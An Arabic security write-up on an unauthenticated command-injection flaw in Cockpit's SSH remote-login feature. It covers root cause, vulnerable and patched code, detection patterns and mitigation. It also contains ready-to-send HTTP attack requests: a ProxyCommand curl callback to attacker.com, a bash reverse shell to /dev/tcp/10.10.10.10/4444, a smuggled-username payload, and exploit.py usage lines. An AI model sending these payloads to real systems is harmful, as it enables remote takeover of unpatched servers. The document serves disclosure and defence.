
كوكبيت: تنفيذ أوامر عن بُعد دون مصادقة عبر حقن وسائط سطر أوامر SSH
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| الخطورة | حرجة (CVSS 9.8) |
| الإصدارات المتأثرة | Cockpit 327 – 359 |
| تم الإصلاح في | Cockpit 360 |
| CWE | CWE-78: حقن أوامر نظام التشغيل |
| المصادقة المطلوبة | لا |
| تم الإبلاغ بواسطة | Jelle van der Waa |
تمرر ميزة تسجيل الدخول عن بُعد في Cockpit أسماء المضيفين التي يقدمها المستخدم (من مسار URL) وأسماء المستخدمين (من ترويسة Authorization: Basic) مباشرة إلى ثنائي OpenSSH ssh دون أي تحقق أو تنقية.
يمكن لمهاجم غير مصادق عليه مع وصول شبكي إلى المنفذ 9090 صياغة طلب HTTP واحد يقوم بـ:
-oProxyCommand=<cmd>)%r في SSHكلا نقطتي الحقن تعملان قبل اكتمال التحقق من بيانات الاعتماد، مما يعني عدم الحاجة لتسجيل دخول صالح.

قبل الإصدار 327، استخدم Cockpit ثنائي C مخصص يسمى cockpit-ssh (مبني على libssh) للاتصالات عن بُعد. بدءاً من الإصدار 327، تم استبداله بـ:
python3 -m cockpit.beiboot
الذي يستدعي عميل OpenSSH ssh الخاص بالنظام. أدخل هذا التغيير الثغرة لأن مسار الكود الجديد يمرر القيم التي يتحكم فيها المستخدم مباشرة إلى ssh دون تنقية.
-- قبل اسم المضيفيفسر عميل SSH الوسائط التي تبدأ بـ - كـ خيارات، وليس كاسم مضيف، ما لم يسبقها فاصل --. بدون --، يتم تحليل أي اسم مضيف يبدأ بـ - كعلم SSH.
البناء القابل للاستغلال:
ssh [options] <hostname> <remote-command>
البناء الآمن:
ssh [options] -- <hostname> <remote-command>
لا يقوم أي من cockpit-ws (كود C) أو cockpit.beiboot (كود Python) بالتحقق أو التنقية من:
Authorization: Basicargparse (CPython #66623)يسبب خطأ معروف في CPython سوء معالجة argparse للوسائط التي تبدأ بـ - وتحتوي أيضاً على مسافات، حيث يعاملها كمواضع وليس كأعلام. هذا يسمح لاسم مضيف مثل -oProxyCommand=evil command بالمرور عبر تحليل وسائط Python والوصول إلى ssh كخيار.
src/cockpit/beiboot.py — نقطة الحقن الأساسيةهذا هو الملف الأكثر حرجاً. تقوم دالة via_ssh() ببناء قائمة وسائط أمر SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
مع dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← خيار cockpit
arg2: -oProxyCommand=curl http://... ← يُحلل كخيار SSH (وليس مضيفاً)
arg3: python3 -ic '# cockpit-bridge' ← يصبح "اسم المضيف" → يطلق ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — طبقة C: استخراج اسم المضيفيتعامل هذا الملف C مع تحليل طلب HTTP الأولي ويطلق عملية beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
يتم تمرير اسم المضيف المُعاد مباشرة كوسيطة عند إطلاق beiboot:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — نقطة الحقن الثالثةمكتبة ferny المرفقة (المستخدمة للتفاعل مع SSH) لديها نفس إغفال -- في استدعاء العملية الفرعية.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — مسار نشر الحاوياتهذا السكربت هو أمر المصادقة المستخدم في نشر Cockpit القائم على Docker/الحاويات.
#!/usr/bin/env python3
import os, sys
# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
هذه نقطة دخول منفصلة عن مسار beiboot.py الرئيسي، مما يعني أن نشر Cockpit في الحاويات قابل للاستغلال بشكل مستقل حتى لو تم تصحيح مسار الكود الرئيسي.
الشرط المسبق: OpenSSH < 9.6 على مضيف Cockpit (قدم OpenSSH 9.6 تحققاً مبكراً من اسم المضيف يمنع أحرف shell الوصفية).
طلب HTTP:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Authorization المُفكك: invalid:invalid — أي قيمة تعمل.
كيف يعمل:
-oProxyCommand=<COMMAND> من مسار URL كـ "اسم مضيف"via_ssh(): ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> كخيار (وليس مضيفاً)python3 -ic '# cockpit-bridge' كاسم مضيف<COMMAND> كـ ProxyCommand عند الاتصال بذلك "اسم المضيف"<COMMAND> كمستخدم عملية cockpit-wsمثال — استدعاء خارج النطاق (OOB):
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
ProxyCommand المُفكك: curl http://attacker.com/id``
مثال — قشرة عكسية:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
ProxyCommand المُفكك: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%rالشرط المسبق: يحتوي ssh_config الخاص بالهدف على توجيه Match exec يستخدم رمز %r (اسم المستخدم البعيد).
مثال على ssh_config قابل للاستغلال:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
طلب HTTP:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Authorization المُفكك: x; touch /tmp/pwned; #:invalid
اسم المستخدم المستخرج: x; touch /tmp/pwned; #
كيف يعمل:
%r باسم المستخدم قبل تنفيذ أمر Match exec/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned، ثم يتجاهل الباقي
الإصلاح بسيط — إضافة -- (فاصل نهاية الخيارات في POSIX) قبل وسيطة الوجهة في كل مكان يُستدعى فيه SSH.
src/cockpit/beiboot.py (الالتزام 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (الالتزام 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (الالتزام 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- المشكلةيخبر رمز -- محللي الوسائط (سواء Python argparse أو محلل خيارات OpenSSH) أن جميع الرموز اللاحقة هي وسائط موضعية، وليست خيارات. بعد --، يتم التعامل مع قيمة مثل -oProxyCommand=evil كسلسلة اسم مضيف حرفية، يرفضها SSH بعد ذلك كقيمة غير صالحة — ولا ينفذ أي شيء.
ابحث عن طلبات HTTP إلى نقطة نهاية تسجيل الدخول في Cockpit حيث يحتوي مكوّن المسار على صيغة خيارات SSH:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
راقب تحديداً ما يلي:
-oProxyCommand= في مسار URL (المتجه 1)Authorization: Basic (المتجه 2)# تحقق من إطلاق beiboot مع وسائط مشبوهة
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# تحقق من استدعاءات SSH من مستخدم cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"
# تحقق مما إذا كان الإصدار المثبت قابلاً للاستغلال
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# قابل للاستغلال إذا كان الإصدار بين 327 و 359 شاملاً
rpm -q cockpit-ws
# ينطبق نفس فحص الإصدار
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

أضف إلى /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
يؤدي هذا إلى تعطيل ميزة تسجيل الدخول عن بُعد بالكامل، مما يمنع تشغيل مسار كود beiboot.
| المورد | الرابط |
|---|---|
| إفصاح OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| استشارة أمان GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| مشكلة Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| التزام الإصلاح (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| التزام الإصلاح (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| خطأ CPython argparse | https://github.com/python/cpython/issues/66623 |
| التحقق من اسم المضيف في OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |